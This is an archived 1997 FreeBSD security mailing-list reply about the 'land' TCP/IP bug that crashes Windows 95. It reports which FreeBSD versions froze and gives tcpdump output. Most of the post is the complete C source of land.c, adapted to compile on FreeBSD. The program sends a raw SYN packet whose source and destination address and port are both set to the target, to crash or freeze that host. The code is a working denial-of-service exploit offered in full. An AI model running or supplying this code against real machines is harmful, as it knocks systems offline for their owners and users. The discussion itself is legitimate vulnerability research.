Skip site navigation (1)Skip section navigation (2)
Date:      Fri, 21 Nov 1997 16:06:18 +0300 (MSK)
From:      Andrew Kosyakov <caseq@tangram.spb.ru>
To:        Martin.Machacek@eunet.cz (Martin Machacek)
Cc:        freebsd-security@FreeBSD.ORG
Subject:   Re: new TCP/IP bug in win95 (fwd)
Message-ID:  <199711211306.QAA01747@caseq.tangram.spb.ru>
In-Reply-To: <199711201900.UAA28913@bb-prg.eunet.cz> from "Martin Machacek" at "Nov 20, 97 08:00:31 pm"

next in thread | previous in thread | raw e-mail | index | archive | help
Quoting Martin Machacek:
> > This seems relevant, although no doubt by the time this arrives, others
> > will have managed to foward this to the list :)
> > 
> > Have not confirmed results, don't have any machines localy that I can
> > afford to blow away.
> 
> I've tried the exploit against FreeBSD 2.2.2, 2.2.5 and 3.0-current and the 
> results were interesting. FreeBSD 2.2.2 does not seem to be vulnerable, 
> however both 2.2.5 and 3.0 froze. Another interesting thing is that the 
> exploit cannot be run on FreeBSD (I've patched it to compile) because sendto 
> even on raw socket plugs correct source address into the packet.

In fact, it prepends entire IP header, unless you explicitly ask it not to 
do so -- RTFM ip(4). Here's the version that runs on FreeBSD (it didn't crash
my 2.2.2, however I've seen series of several SYN and RST packets going back
and forth with interval of several seconds and then silently stop after about 
six iterations. This is observed on most ports but 139, where there's only
one iteration (so, probably some socket options do matter).

caseq:/usr/home/caseq#>tcpdump -i lo0 host localhost and port 22 
tcpdump: listening on lo0
15:58:02.025136 localhost.ssh > localhost.ssh: S 3868:3868(0) win 2048
15:58:02.025358 localhost.ssh > localhost.ssh: S 2338919178:2338919178(0) ack 3869 win 49152 <mss 16344> (DF)
15:58:02.025407 localhost.ssh > localhost.ssh: R 3869:3869(0) win 57344
15:58:04.920135 localhost.ssh > localhost.ssh: S 2338919178:2338919178(0) ack 3869 win 57344 <mss 16344> (DF)
15:58:04.920250 localhost.ssh > localhost.ssh: R 3869:3869(0) win 57344
15:58:10.920130 localhost.ssh > localhost.ssh: S 2338919178:2338919178(0) ack 3869 win 57344 <mss 16344> (DF)
15:58:10.920244 localhost.ssh > localhost.ssh: R 3869:3869(0) win 57344
15:58:22.920145 localhost.ssh > localhost.ssh: S 2338919178:2338919178(0) ack 3869 win 57344 <mss 16344> (DF)
15:58:22.920261 localhost.ssh > localhost.ssh: R 3869:3869(0) win 57344
15:58:46.920157 localhost.ssh > localhost.ssh: S 2338919178:2338919178(0) ack 3869 win 57344 <mss 16344> (DF)
15:58:46.920273 localhost.ssh > localhost.ssh: R 3869:3869(0) win 57344
15:59:16.920146 localhost.ssh > localhost.ssh: R 1:1(0) ack 1 win 57344 (DF)

This is FreeBSD version of land.c:

/* land.c by m3lt, FLC (modified by caseq to compile on FreeBSD)
   crashes a win95 box */

#include <stdio.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <sys/errno.h>
#include <netinet/in_systm.h>
#include <netinet/in.h>
#include <netinet/ip.h>
#include <arpa/inet.h>
#include <netdb.h>
#include <netinet/tcp.h>

struct pseudohdr
{
        struct in_addr saddr;
        struct in_addr daddr;
        u_char zero;
        u_char protocol;
        u_short length;
        struct tcphdr tcpheader;
};

u_short checksum(u_short * data,u_short length)
{
        register long value;
        u_short i;

        for(i=0;i<(length>>1);i++)
                value+=data[i];

        if((length&1)==1)
                value+=(data[i]<<8);

        value=(value&65535)+(value>>16);

        return(~value);
}

int main(int argc,char * * argv)
{
        struct sockaddr_in sin;
        struct hostent * hoste;
        int sock;
        char buffer[40];
        struct ip * ipheader=(struct ip *) buffer;
        struct tcphdr * tcpheader=(struct tcphdr *) (buffer+sizeof(struct ip));
        struct pseudohdr pseudoheader;
	int hincl = 1;                  /* 1 = on, 0 = off */

        fprintf(stderr,"land.c by m3lt, FLC\n");

        if(argc<3)
        {
                fprintf(stderr,"usage: %s IP port\n",argv[0]);
                return(-1);
        }

        bzero(&sin,sizeof(struct sockaddr_in));
        sin.sin_family=AF_INET;

        if((hoste=gethostbyname(argv[1]))!=NULL)
                bcopy(hoste->h_addr,&sin.sin_addr,hoste->h_length);
        else if((sin.sin_addr.s_addr=inet_addr(argv[1]))==-1)
        {
                fprintf(stderr,"unknown host %s\n",argv[1]);
                return(-1);
        }

        if((sin.sin_port=htons(atoi(argv[2])))==0)
        {
                fprintf(stderr,"unknown port %s\n",argv[2]);
                return(-1);
        }

        if((sock=socket(AF_INET,SOCK_RAW,IPPROTO_TCP))==-1)
        {
                fprintf(stderr,"couldn't allocate raw socket\n");
                return(-1);
        }

        bzero(&buffer,sizeof(struct ip)+sizeof(struct tcphdr));

        ipheader->ip_v=IPVERSION;
        ipheader->ip_hl=sizeof(struct ip)/4;
        ipheader->ip_len=sizeof(struct ip)+sizeof(struct tcphdr);
        ipheader->ip_id=htons(0xF1C);
        ipheader->ip_ttl=255;
        ipheader->ip_p=IPPROTO_TCP;
        ipheader->ip_src=sin.sin_addr;
        ipheader->ip_dst=sin.sin_addr;

        tcpheader->th_sport=sin.sin_port;
        tcpheader->th_dport=sin.sin_port;
        tcpheader->th_seq=htonl(0xF1C);
        tcpheader->th_flags=TH_SYN;
        tcpheader->th_off=sizeof(struct tcphdr)/4;
        tcpheader->th_win=htons(2048);

        bzero(&pseudoheader,12+sizeof(struct tcphdr));
        pseudoheader.saddr.s_addr=sin.sin_addr.s_addr;
        pseudoheader.daddr.s_addr=sin.sin_addr.s_addr;
        pseudoheader.protocol=IPPROTO_TCP;
        pseudoheader.length=htons(sizeof(struct tcphdr));
        bcopy((char *) tcpheader,(char *) &pseudoheader.tcpheader,sizeof(struct tcphdr));
        tcpheader->th_sum=checksum((u_short *) &pseudoheader,12+sizeof(struct tcphdr));

	if (setsockopt(sock, IPPROTO_IP, IP_HDRINCL, &hincl, sizeof(hincl)))
	{
	  fprintf(stderr,"Unable to set IP_HDRINCL to 1: %s",strerror(errno));
	  return -1;
	}
	if(sendto(sock,buffer,sizeof(struct ip)+sizeof(struct tcphdr),0,(struct sockaddr *) &sin,sizeof(struct sockaddr_in))==-1)
        {
                fprintf(stderr,"couldn't send packet: %s\n",strerror(errno));
                return(-1);
        }

        fprintf(stderr,"%s:%s landed\n",argv[1],argv[2]);

        close(sock);
        return(0);
}

Sincerely yours
						/&rew

---
Andrew Kosyakov, Tangram Ltd, +7 (812) 516-6981, caseq@tangram.spb.ru
PGP Key fingerprint: BA A8 48 20 E4 AE 9C 52  C5 5F C3 B8 1E 67 2C BF



Want to link to this message? Use this URL: <https://mail-archive.FreeBSD.org/cgi/mid.cgi?199711211306.QAA01747>